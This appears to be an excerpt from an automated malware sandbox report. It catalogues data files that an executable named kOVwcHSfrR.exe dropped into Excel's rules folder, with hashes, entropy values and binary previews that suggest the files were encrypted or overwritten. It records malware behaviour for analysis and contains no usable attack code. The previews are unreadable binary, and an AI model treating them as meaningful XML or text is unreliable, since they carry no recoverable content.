Preview:	<?xmlZ.G?..H#...CdD`.......W.qg.u..^..."..)m..S.?...}4...z1Z...D.....O...Ob..h...}.E..eP.o-........:....P..x.\|./...c.Q.qs.rR&.C..zj....N.o..o...4.....W..W....@.=2/a....\..d....e.[....{.b...P.......~.....Jg...`1\....J..PSc....p.Vp....h..4...A..." Cb...u{u....N.y>.#.s.1.=..(.3.tT..&a..V.:....D?.Xb2..1....l.~?......y...p....Q&p..Qs.l.....4k....<T.!S\.s7.2..9..J\..._..}.b...a.E...UF...K.,-.!.'..2....f.Opz....$......U..<..@..8.[(..I.\|..Q..!H...#7.....,...#Td....CA..[...T0/..5E.....k..t.-....p..Y37...0....0..Q....... '...{L/..F.+.W\|Bt..s%{....= .5i..M....._,.A...y....RB8...?..U...A{..=..-'0...@G.s/[.\|....R.U...EC'.8[R.2..t...... Br$..BNL.92..2.....o..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.8712594111185625
Encrypted:	false
SSDEEP:	48:KnSwSYBJhxtG3XrEuLs8hHrD+GxMc3tsnRY7wyD:5KBzoXrjD+kMc3tKmwa
MD5:	246AC2C7047CB23527E12053E33C6224
SHA1:	71292FD545749A73F515BCC10EA111EF890F9FE0
SHA-256:	7A93B7C8CDF1580017EE38B2DC2B4111734503D7421CBF34278A933E514EEFF7
SHA-512:	00B11CEB68063358780E037ACFB575064A0518C2E841B1DBF39F611D12EE16F3316CA11A8288AF4A290610209C9C41E5F6A2B11E468E815AE0D45B7B1876C04F
Malicious:	false
Preview:	<?xmlW.<2~H..>O...\u...ff.H.1D.......&@..2y6.].[u..o._....im...g~....2...[t.........n..D.0.?...b.../t....4..J....Y..1%.g..67{.`.S......U..s)..P.6vf@.l...+0.c`.\...m]..dM%...1..3..w.-..:..o.E.....e..0'8{,......J+.9y.4..8W..5..SG.BW.L.=...\|..\.C.....c........{../.....E.Y5....~........d.`g81..1..V....m..V~]..z...\.D/..).jz\...>;.K)....8}@..-..s,...4\..Pt..A..q.$wj;.O...6v:W..=.. NT.,.l.qwcX.ekFp:=,.e:..)..\..H.0..G_...k\...IF.Ju.....V...43K.A..d;tY..J.....g...e....p..Y.X...........?an/....@..C47<..0;hZ.A..~........d/H.......R?e...`F.....E.l.....1.=X..l9.>......].q5`z...YQ...E<......ZC7.&.j.......H...b>E.7,.....k.A#........Fg4=.l..^#.W.........[.!U....!...v...#..E..?.V..E....kx.J.....p_..@M...\-. .U.Wq.8..W..H*....&.9......?Br...7.........1..8O~.+..G.p...%.......<.7.......&..8./../..(.k@.....!.......+....s\,....o9..Q..4.5B.-..`J.........K.v......~/B...n/....d.......,......j~N.T.?.BW..F.W.+G....._...X../R...._g...AA...l.&.....e..:(.~..........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.902893257824576
Encrypted:	false
SSDEEP:	48:FdEtmRDk6vkeNew8b8GxMihbIRj3NuPBB0nOhhYyD:FXSwC8shbIR8PBSuYa
MD5:	660EC170AF8F43E60385719F5231C924
SHA1:	7EF1439BCB7ECD4BA1A873D5400A037791546536
SHA-256:	3C599E7B24DC230264C04F1489EBC03ED1DDE52999BA13EFB8493F63830A84FB
SHA-512:	805D61E3FA0F6A08331313877E169470791BC38DE46DBAE3A06C234E833F7A1A26C4781E1D5A7EC4E7CA23550A98EFB0FFB55A44E90F77B62DFD24E5C9D20E89
Malicious:	false
Preview:	<?xmlY].6v9.~...../...F]..........z..]..B..x.. &V.m)b/.%Y..6G6....8..Jc..r..P..k....b..h...=:.5..2.TT...qQ.>...R1.....M.......\.....p...Jb...?O......9..>"5...(~pOF....w.. .....z:..!..wd..0...jg.....l..>...<$..h)Nk0..........?...1.+......I..p7..r9..........e..Z..Gk.'...'F....iP3..x..e+%.-k&.v..ZQD1....w]U....6Nb....#...%.S.78.x.G.:,gR......b.[...DO.w.......+.Y..o..9S.7..:...e.{.G..7.,I..d....C=.K...L...Y...v.....R\|./[$..'.q..%I...9.......<.D.e.\|5nL\G<;............$-........h....A.V..kv.(.]n..W]9.....-......:.`8.L..~<....{.R3a...4..k...J.&N4....a.!X...P.{y.V.&/k.gb<..@.L...5,.R..F`:@N1..'....<.....P\.~....q..S."i.Vv.sN.[..f....W^.l.v<K..\.....d...".(K...k.../~A.A.2.h.2...RN\..q....U......y..\|..B.".....[...".....`..........c.....a.........Lc.3.'.8.l.....1.....#C.......Wp7.;tp.E>^.[I...'...d.>..uI......f...K&.?....(.!....-....t\.X.'QM.W.-..,&..O..._U/..[.B.{;....K..3..9...<}.,..$.....Ne......E4vq.8'..S.....A..K........7.NX....'..v.~CF*\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.693558879539526
Encrypted:	false
SSDEEP:	12:YAO7WVgri17Mr2rwQpmqxPg7/ZpVW8dAh4ChCHrucUrNssy43i3eDW5KaPLawwHK:RIqgm17tLfyu4Khee1y43dDwewaw1bD
MD5:	171F5E4BE753A094440CA838D457E4AC
SHA1:	486AD77A2371BF1F664D395D6211CA16FDE7D725
SHA-256:	D0CC991F5EA11267E0C6C3C826F297972507A188588F8736C88C23AB82836934
SHA-512:	F0F50ADE96A061AADDA168ACA455BB79D52BF3E597F128ED1AD5053D9105EAEC7774F70F4479B186EB8D646F0BC7D8D4FB11CC8ACE86B1DB616FBEE0766F5F5C
Malicious:	false
Preview:	<?xml2......we..".u^d3P..n4.{.!..........p<..P..G.g..q..F...s...B.Jk LN.....E.f.X...}.3.F.Ep}..wC...b.........>Xm..a.;...{.l3=.=...9...T.....3U6..}.[.d....I.S/.......$Y.<8.z.........E......%E.v.L....j..(-...;.....e.......U.f...f.. .....r.W...\|$W.=3[..\|ks....+...[.'/bCkE..)..Y.h..m}.z^.....f...0.X..k..u.P.3F......vf.#3..M..A].....?w..k...5<..:i.z..V<.E.&.P...4?9..4Or....:..a;........y&...'".w~..p.q.....Tx.1......NY..I...F..}1+M..1%M.........}...B..`H.i..Mw.-.]...J..l.!.........v.(wU..+..y.s.".L...W...4;H..2...y.l...[....3.\|......._^6....S&...9g.......F$.-..Ac"fy.J..m....$..R....e..^..(....<.S......L[.....4.kz}m..W...V../..Q..-..%...TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.718108315189948
Encrypted:	false
SSDEEP:	12:NOXOlrS2RPovdwAT6ucrp7K6nt/DRM1dJQeYwkwN2NM64PxYDmSmsoqw1cii9a:NDG0PovdJnuFG1/NHxNdfxYDbm8w1bD
MD5:	F432F74521B03DC053BDDC146A53D5A2
SHA1:	90D6CD05256BE25616E15C470523BC0C1E314708
SHA-256:	BD81DBE2E276EB4BE825F143C76FBF539C738D678A4F1A161A071F03A0B1CAF4
SHA-512:	210FD0C01856393C21C55267A52255342125EC9A6F3F5E73E170646BCA4BD7CD7ABB732674B24B2A9462EE039CD43A0E58FF7C7CD171F44BDB2C532FAE978180
Malicious:	false
Preview:	<?xml..f:Z..N.4..5.Z...Pu?G..})...?..0..76...\..,vq.'..].d.....}2.GH...lF..Zz..#y. ....I..Fs..:.e..]Zxg.......XG.(...\|7..O.>U..~'.'.b....8H.B.....WT..T..q...;....q'C...RD.. ........@.}......2.q7:...X}.....:........ ^../.}.l...a....c.......P..4J.........~...g.T.W.i.i.......1.......g.MSxb}.....j.....d.z...]@s..={.d.n.T[YP?.J.I..1\|C..6.b.N..W&....Y.U..o..{cO..>...g...)].{..s.i?o.`.nV-.c.......k....+.i.)..k3.2.....u.{......X.fl).8XLn.onmGKm.........F.5n...0.A..w..l.Y...j.L.....\|n.......lW?....,..~.....g..ho......!....9.1...e...V..f.....ec.w.7.....r.F.].`..{.../.M.q...mK....,.......<....hE..0SN...."...Uf.]Vxt..d!....?.].)....-...../1*../.2..g.>...44...A..ZTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.880417773556432
Encrypted:	false
SSDEEP:	24:cahWr3WYbb/+porokzLREx4lCQgtaFKKRLGw4l53g7f5rCB7006AMRNHHw1bD:ar3WYbKMmkCQhbR94zg7RrCBoTzyD
MD5:	D09CF430898543B6BE74397DBB1D6167
SHA1:	E6566A43747C845EAA4EE990929D3CAD71A824E1
SHA-256:	7714C6AB603972341C74A0774EF1099C099FD43FA4BDC223AA22BBE1754D9924
SHA-512:	B57777904AD94BD900750646EE53B76CE07F511FFC1A794E32BB2B4CA9157D774762B2D3ACD8F36A6ED55FA1DAEABDBD6AFD96F4DEA0C438C3726B3F30E3C66D
Malicious:	false
Preview:	<?xml(v..`.....S........4.7..Do.x.sr....E....,..&Kz..<"XF.....g~=..~......Y..)....../....1^>../r]K..9f.......C.....e.>..9r~..b(,.#..8..7......z..:.a.B.#O).........78.IKv.....y.%&...1.c..:.=0~..f.i...........~.K.z../m.[..L....c(.z-.0j....4.W.....`....Y.uZ&.8F......~..{rKJ......'....X.....J3........_.>...2X....>.Z...-.#4...MP9C2,?..wZ..Iv.<.....Z..>..b$[<9... n=N\.o#......Q..F6c\\|-...M.........T...4...'.,.6..Q....POP......"nT\|p.....w.\|..[...}.._2..r...F..?..-.$...@:IN..S...J.).=vD.....n.`.......V.1.$..Q...W/X.A0.A(.{2x4..`..$i..9......u..Ta..a..8..D.F.....Zk...g.....q.N....@..X.......N\.-...;...](aK.../#k`.1..A....k.M.W\.]... .....}_.......Y.L...PW....~E. x.~............P........dY...(`.m..U..4.6.6......IQ......(!."bT........Rwc}...).6...%T<$....i..Mn.1\|.{EX.g2F.0..>.X.mg.~q....[..om.'.=..6...i.....l6.U......Y....V.........s\|AF.....N...9.j.X.k.d{4.G!.R..2;..@.h.k....d..v.]..^6.o..t>.....s.nk.h.%........'..p..m.].........S.hX..X.-....X.;...0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.875332687858925
Encrypted:	false
SSDEEP:	48:iTfDxL0NAtM2TLTonZrDykGDoA4oBirA2fyD:inxmAtMqAn5bGJErAYa
MD5:	2077327F921D2E04471E6FF1AEECE9D5
SHA1:	2844CA81DFAB4F36E0B9073CEB9DD46A9B57B0FE
SHA-256:	3ED8655FA16052E582F1B8FA65CD6E6505C75154C44BF6A9164FD892911181C4
SHA-512:	29FA3227BA3D3F0401A86E0BBE6E413A978D487148AF5FC33FAAAB9D94C20EBB1643F0407FDB8674939527D6C39B028A4ACBB5A9346997B35B4F6CB549956B29
Malicious:	false
Preview:	<?xml.6F..dC],.G..T...L.OkJp_....6..7...`eG.Y...#PC...F...5c.h.o_..kJ....;...XR=....@.L7e...R..o..Xy....w.8?....D...:....U..=....O......X#8..55x..D.s.:.o..QU..R..9W.\|<.../.%e&."...f)..!.l[..>\.x.b.F).....ms.a~.7E4...s...}.s.7uY..z.b......L.L`.CU.1..+3....\Pe %_Y.?...M..5v....J.n.bm...W._f..fBO.M1.5..T...,q..E.EJ..7 ...D....N.....x{T.M.b#j..^.b.y..+$.v..?r""...DGN.l.:...m[....4F.z{=a.m.$.wK]!%...E..b...;..P..5....+.!.....SB..=.'....`.Z.".l...os...D1..1..b.).~0.9..[.....\.....wK.J4.Nv.../..g.w".Ur...^.....\|.....I..?.r../+.zR.)...#..]9%.;Zv.......d.\..R...+.=.v.e.....c......k..Q......x..-....V5}.L.bb.>V;..8-..WY...8._...b..M........1W......JE6.d.$..u..d.V...Y.(;..~#...@..Z\K..8. U.-...[.8Ve.7m....d..`o4/.....$M#..-nu.... ...5....To/%.^....U....`..aX...t...9?-..T..Hm.....g.Vv.....`'."FO....\o....t.X.]jT..M....d..f".s..%!`.x.5..8...xz.8A...GB._.0.T..t.6..6~,.i.V.4G....".I..R.8.......#Q.....X..Gf......f.:wA$.8...\...?.]".6.jUm.=.......4...........'."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.889027273916793
Encrypted:	false
SSDEEP:	48:/8MBlq6P3r0E64vzXNQdE8kbwKvNsVXyD:/tDqs64vR2MryVXa
MD5:	700B3D6B45AC35E2E1DB76112E5759B0
SHA1:	DFD0C460479951EA911A085CDE63CF74053C65FD
SHA-256:	F507C24EEF4B0510B00323B16FCF761CA91453AB38EAFA4CD8D615FAF2BD449E
SHA-512:	9C0D1707704032019E32015EF0A52DB46FEDE57A83253467B057DAE06F48D6BFE693E75B39F5E41656BC230B9756C202CFCEA71344625ADB3F13C7F9FA1916CD
Malicious:	false
Preview:	<?xml.$...T.l%....C....g..f..mTPsu.+.9.].8.P.!.0.`.P.x..R....m.Oq.ar..$.4...R...'[d.>+..5d.\|.Tp..}[...;..n.I{..x)...J..........S(VV~.....!.E...W._.. nP.Q........=.^....r..G.. ..N..{.cZ....9$T.J.gN..I..C..,.=+`#qB.9./>.do........\|vS(...e....H1...a..XG0:N.pr.2b4.....5..Y#......>..'....:m...5...`)...brb...3........?.....zop...6(G.....c.........?....8.....7..2.?c.....Hk.V75.............)jf3.K.....)..W...)>....N+?.pv.......$.\l...........%.0...<4...."._p..I.........8..}.?<.a.2....a.i...G...`.)...@UQq']/....%.W.y.B..@.......C..OK..~.].............9j...Y.........3^A...W..K.a.Z...i....C.......`..G.T..q=W....(...lK.F..!SU..J>...e.q.v...\|....c...0S.?.efY.....%Z"...;......n$..n.y.KNB.l..J..^w.h..i.(.y.-\..2.......i..v!cK.5.....!U.%uO.5._N........j...C\|.F.....O.xT..._.+RJ...?2......Fv..Z.*..J...\.P^_...ao...G0.O...o6..=.....{.#lH..\|...-hC?.pX...I.,........X...kq..[......E...9D....[I..a.....l....Ad..9..z...80..B&u.0%xg...!.d..Y...$v.s(..\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.88861034789423
Encrypted:	false
SSDEEP:	48:AoIXs0JaJIUv2VYHrgaYOXuN8ym62AEAIaD1edyD:AdaKG2IrMQuSTXAEAIi1eda
MD5:	DAFE4F6BBBE5B33871F9413D77ABF3BF
SHA1:	00C8E2CD980299FF34CEEE2ECE76ECC8F5B6F97A
SHA-256:	8314285272988D8503F4C0966039AD811E784FD5DCFE706180D0781B9A0585BE
SHA-512:	64C8B65ACDDA38DDBC344D95C4A614FBAB483A30E5877BAC270664E1F0F9D7ED13CFFDA014F790F443558F91388C9CA4AC26FF3316AE7130172D5BD057DDEF84
Malicious:	false
Preview:	<?xml....J......=..kBy..t2.........hP..B....K/..u.y..Z......et......@...d...$......6..818.5..B.B.....e=..z.y-..&Fs$.k...m./jHy.\|.9....\|..Sh...Y...pMx...g.!..LI.^..u...^...... .....kO..n..'.6...K.GO....M.....mXUMH.A.........A..G......>l..?v_V.....V-.._.q....:.nQ..@....s.O`h.oL...gi.n.71s...J.........p..Q...(.>.7t.a,N..";..Q)zTvU.aV....).1.$px..Bg.-L..&...e....jR.N........9$.N.a...W..WX..q..-....~e-2..t&..{.29..?.I4[.U....e..I..>{.FD.6...I..R.......U..R....m.^ ....u.....>@d.yC..%.n...OP0....=.O..'.bJ\|>>....<t9......Va.N......FEV......{..v..+.\1..=..;...Q"X?.P.U=.NfI,.C...d.#..%&.:C.6...3....<?."0..p.]....04V<...d..=.O.(GZ.L.P.#.n.....)..f..D...\..Q..cb7....6Wf..7~........sK.R.;o.)s..(.p..-M..d. ...+...k0..........UD.../n+...ru\.\|......(....]6..8..z.....1....0....Y.j..j./`.%....H~L."L>..G.]..&.>...2)..A.QA..YU......H{...3J.%.=p.81....}.&...`.@.<-...!H..@......ayU.........I/*/b..J..K............"..nWc....[e...:..\.,.i...."k.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.874991712548758
Encrypted:	false
SSDEEP:	24:VDnGiBLiDx3PopXKiNQGOPzozIVMA6XJ8nFnrrkeH6gHym3W9htiRG8IBCM+pq8a:VjN56x3PoYVrozEKXJ8nFEy9yn6kf8yD
MD5:	B80B2B25B917BCAB5503AF99877A8288
SHA1:	E4685461BB1303561700F0589B272EF9CC2EBC94
SHA-256:	147E7D53FE04DB3F1377F674400351FC7F6745D54F102EA1A3A004048712963F
SHA-512:	5D088440FABC98EB4DB5459EA6A3F1FBCBAFA30BBB70A4FD7AA751A440D0265A6C928DCA9775FD8BF764C8E4728651DAD90222D5F72792966C71F035877872E3
Malicious:	false
Preview:	<?xml......;:...@.g..6.x~a.Ii....'...g..`......J.&....(.u.f...Q.....0c.m...U'...[Z.iw....?T,. .\|.....yn.+.. .Iu0..W...Z.U.m.@...H..Z.....l..._../....'%&.Ao( ...g.\...\..L.h.PJPs.l.I5H....).g...5.M..(..9...N...:.........4....E.S.....r..ZFl..X...!....j!..@.....b..vm.%.H...u)..xQ8.wO~..8._....Y.I.........p.......t....-k1o...D..Fvl?$^...(...I-uwJo....t.......Q8.+!.\|!.:.{..$)..@\|C;\|m...,.xT.....].q.z5.%..0.2...}.:.{..'...^l.6{7.u.v.PO..F.Z...{ ..._.B......~-K...K...B\..a.)..+....@T}..Um.).~....OBl.S....B.s.....M.t\4S....Q.B.2..u.T.piq....jm.k..ix7\|.W.....L.`q..b.jUr.2........%9.g.....B.....pww.:...............1..;`....V......W.x..~h.$h#.6..a.'%.)aE#-.z].R.f.>..\....f~..........<.<.W<3....q...uE<tc.. .r.?.....X...._`...@=k...k-(.A....W.+...L.(O.e1$.F.af.o..6.lZ.eY...O...D..P...Oc.c..U.@..sgmJ:w..n.....J.c<vC!.y......O.<l......h...)..ig>.T.#e..&CI..\.5.J...].?Ba.y./..k..[.6\...0u_..Z..x...O8b>......{c..Q......m...4.F.c'.V..<.4.%.%....^......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.891359421071669
Encrypted:	false
SSDEEP:	24:5UWfzjkRETa02tU7wzgzXfehexSRRgWrYb8LETLCndJHwOk6yTR+d+kWVSMjTfla:bfk2T4tlcDOeVb8AsTjUR+MkW/9yD
MD5:	BC23FBFCAC172F8B2362658493F0EF3C
SHA1:	051700B04DEFD4F5C79AAEE07250C41748148E07
SHA-256:	1A65C264E7779AE448B472213C533AAF5603AD5DDDDD541FF730BD1A4FF70D56
SHA-512:	F814465AE5559F71E4B25C24F63CEEC910E6DB6334471D17D577E4C9CA0291D7B11CAC6DA9D3F4CA129EC3BA8EF4132B689A78AA78D2B7C460F5D1C316F22F65
Malicious:	false
Preview:	<?xml).A...I.A..X..u..%.m..1.....~?."4...[...2....~1.a....<..h.ZC..R).. _.PC.'.h.....t...{..bUB&.x.....i..>......_f..].c.6S.j..b...K....G5...-..;#..L.A.Lt.=...m.G..t.5[ ...Ax.&.....R.>5..-....HR.Yu...J....=M'....\g....U.....;.q..A..........Y.M(gD.IE..W@.:.O..2%...Q....l....X5i.7uu....v...p....\|l....d.K.N..!.Gj!......f..F..A.,I...'%..e.q.wU.X..[..^2....E;.L..k.:.S.J,.<....[C .@.&....+.W..69...Yz.'.....M-..I.vj4..WM....x.".t...@.&..2.1..".na..j..A..).t.hW.I.e(.k.B&...$Wc.......f.'.....G.l<.@..bM.\...}D.....v.[.WP;...bq.....8{.../:2.Xk`...;X?I.gjr./T..../.j......4.{......X.!..e!...]...\|w"y<l.t.R....OV[...$k.<?.....$O.{....<.......H,\.{.....Y...#zJ.z.y...x.kbh......BU5...v.m.......t7.$>$....D..[R.A&....}.7../...Gs..P...=j....1....8..^...^=...Z..1G.y..\|.I.K.f.......z..9..!Q..h....p..L...)...=......0W..h...eE.i.p.:h..:.&;.._~.....[........m......>ZW`....4........o.B=..B"...Y&.BU..I.04.J.$J..j....L...e...t.cl.......J.iw...7.3O..!c#.-....sF

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.864365390628436
Encrypted:	false
SSDEEP:	48:8Alggt77QPkogSz/HFqP9TZBrwTjUhlIY7uTl8yD:xBoPkoLH81vrwMXY8a
MD5:	C51E0E1B4F1C31BF3A8D34E69D84D927
SHA1:	DDC475F17EFA59E8F45567DE24CEBF9828542DCB
SHA-256:	FC31E74803F8AA7CF9D42F91F997303FB3D231E36EB72DB1FC358B31ED1787F1
SHA-512:	D7FE100CFE4E1959F104388E96FF289220CB708EAE5C8F7A1C36E050806F640EFACACFC1E4BE879ECA2ED1DED14C09498656ED2B50E620C996AA5D3968B49AB4
Malicious:	false
Preview:	<?xml2...e..~....D7Ou`.(.so...Luf..Y..E..E..@.Fx...`.q...?.5.G.Ao.q..x.&.A65.0.(....gA.>.Q..&'}y.Rm._.....=..D.p..,4d...._...=.0.u.\|..y..p...v..<...@...@.9..E.hD..].p.s@4.z%.z..Zl..RA'..N.4bL.....r....F...C.T..\|...O$N.V.....~.."-..f........^9(..XV.f.Y.-k/..U.^..Y.......C..'..Z.}.vg...e..o......L..kAcCR..C?3.U.....1.`9....b.#TA09K....t..6..$.$..f.U.A.....X'D.M.4.z....P..'W..{..Q.M.UW].3...r.....V..3.G.}H...;Y"4=QZ.m..7.....J.9^..b%...]...9....L..T.DY....4.-.8pSAh...,N..?N.o(.i.A........$.../`..b...DTLwR.....X..%I..m.F.g..aZe.COG#t.....Rz.FO.}.b.>.lZ..Y..p.f<...G9.>.F.L$wX)...e.Q....y.......c.f>.3d.....$]......y.o..{b..y..PL..@eg>.Qz..f...\C.>SV. .c.:.........N.vTi..\.X....O....t.B.m..\|....x.....!R.-`..y..5WM.z1...^.2..v_#V<..d.UgI....`...s^<o..K.&w......N......nO.t.&P+.<no...3...c.i.".f.7..O?....G.,...A..h.....%.f.nk....H.@.O...../s\e.@..."X.2..0......@....Q.RM@`u..g!..k.6...u.vb:,.x...W.zu.<.;.1..&UH #w.Z....T.'.E ..s..h..w...LmO.T`..\...z...=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700551v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.875439447500881
Encrypted:	false
SSDEEP:	48:vFOV8YRlkWNIlfyhvRfJt4BZgZuFeZjePYncyfrhyD:vFOV7Rlk7l6VRz4cAFNPYn1Dha
MD5:	B8060E33A27DF33DE5CDC74F0427CEA6
SHA1:	98FFDCB0DB9D9A4BC9A4D9E125C02168EA13E71E
SHA-256:	A621F072F7EB99BAA7B36CEC54BC8C976E016D92667C6B517E880C515DC37CA5
SHA-512:	B7997E6BD96E3396F76C41EA51EABC66124BDCB7EAE2B996C2002CF77FAA92CAAC626B94403156E7C5613EF7175C209489954163A547EE8C15920BECD8422A04
Malicious:	false
Preview:	<?xml.O.fi'..u,.Y..kV...~.cB..Hb~.:B.'j.j.L..O.A..B.T...-WnaV.A.r.yy.u.[..&,"..3.pd...w.u..^..f...\|._y..#.a7.BU.....b}...I.z.1..u.}...Q.=...=.#D..o...2m...7...-....}'a.H..)i.m:....$..R..FacJ...c..e.e....x..SP.w.Z...[.Cm...../.st....~Wd.Jf~Z...4p\.,..n....PV..:o....D...b.[KIf\|a.=..C..~..I..y^wa7.xz.jD...j....UO.............I/Jq..-.;D.bU.L..mHk-.....<n.....X...2!.L.&..q.$B.wUI..q.....@..7..K...-x.:.:3@-.dv.+..=c.\...>.......}.4H....:WC...;....c.W'.f..C.......T4`.d&......lJ..9.+..2F..k.....e\....E.V..H....9..:R..q`...b\F...u..^..6s..h.....9..]..+...?..<.c..?C.D...TkH..h. ....*R >..e..j9E...1.X..=t...DM...<...JE......V~.eA.....X..#7I..\|Z..M...ML.."..b.."?z.{.T=.%...,.~.t^.I.....,F..s..#6V..../..>t...L.]=.e.a.g.!......A5..cS.........1....7.Q.'f..?ZW#..}K..........3...X.P+.3.....w.9..Z.M...h .......&..e..:....If...B.>.Tv.)D..O...t.]?.\|.3......z9...y d;JK.3.L....t...']1B..(V....:y%,....z!...s^..0..d........$..."...4.J.....{BE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700600v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.89679434178285
Encrypted:	false
SSDEEP:	24:kBuVm3RM3a+3LxfcC2NyOINxSvf5j9EYlgQnnUbAU+p4F17iUKBvjdPeTrfXTSp2:u3RMVtpYyRwH/z7UbWOvEvjw/W2TkyD
MD5:	12DD487C62A694ED45B07ECD75D295B2
SHA1:	3B774353628DC2C400C439EB8F7B545BA90213B4
SHA-256:	ADB4778C208169BB59D21AC98F5F9CF46A6E97034492FA2BA0A54B90CE936BB6
SHA-512:	5826AF918CEF4B1A1B79374325556EB8A1163E58F6B7535A4A77B7DD6C94A4A867085FC12BE1393B9FD561A6541345F50A733373B7F2DB94D6AA539351642F92
Malicious:	false
Preview:	<?xml..c.6..J.....F.A.4..!,..A..(.J....}R...4..}U.uN._\|..Li.&k..{...1.S.].n$a..k...G.Y<....J..3.v_..sL....m.......-._6.......#`20.......Y,.eb9...#.hE..u..g),W...H....>.X./..S..X..s....x.-....~..,....l_..{..-....o...}H.4M_..C..0h...dn....H>.........~.r/Io.!T}..L..\|.h.q1........2&F8.G`k....y..n.0..KT.&..0y9qv...2.T"._......>.k...?.{....+.E%eT.(Y.L.\...P...O.Sz/T.nPa.....,..d9S...W6..b.>.S.....j.`....g^.y.H...,...E.J.T8.-@.....i.x.3..Ku.g.s%.Q.V...c............`.3X...3#F.p5..p.2_.-.'.z... .4..{"%..)...x.hE..G...a.cu2\|.8#...b.Z4n.qu+.$.V~...!........J..'.....`........p..R)..........._?.w...._....zEi..h.D.sQ&L2..Sb....WH....1d...a^?....Wo0...n"...>.....;.T......]#Wx^.6i.......-...%_..I..G........f....Hj!../]<...C..0`...Q.1.(.7.>.RH4b...t...)D....n..~.+..i.....H.7.#...v(.!..j.:(.../.N.8......B.L....^M.....f%o...@.+..Z.a...e...i...........:Dmw.q).....s.T.\|...J%..xa....R....ji.;gH.j...D..B^.:...;.l......0U.....].lU.....h)?.5..!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700601v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.889977348945953
Encrypted:	false
SSDEEP:	48:uO4bNUEUq6YIXkM14v2k9YksJjcW5zQyD:YNUEuJ3EJJsGWZQa
MD5:	76AEF6943FAADD50F835C474718005C9
SHA1:	A18067CF73570EAAE3E1A00420AD4D1DD47FACD7
SHA-256:	684AAC44654A827A6EA330167AA3B94CE2F27EDC6930EFBF4BC331278B73E30A
SHA-512:	305A23A07D780AEA256009CA4A8B056293EC2F56ACFC67CA4DE02059EA7A9A0B34EB3A96FE4698AAF126C4F83C356865F662ED07A78141C2800BD3EE206286B7
Malicious:	false
Preview:	<?xmlL..4.)D..n..h."8O..02T.\|B,.S..o\....}..WC.Ms.}..H.r...,.D#....=+m-~...P.\|.....B....e....G.{...i..@.'.g.F......N........Ao~..r.3.u...i...L2.ED~..... ..RC.W.j.q..M.....W..?Q.8..A$N}..Q.dj......[.)v.Ii...v....7.e\|HY..l..N..3.<$.u..W.....^...i.......2o...'..{..S.v..e.r.k.....x.....'..O...Q.m..e...gh.\....m..{~!=q....ci.s.uy.+4..7.2..W.)2.H\|......y.NpU..Tk#u.@....Je.S....$.h.M../..}g... 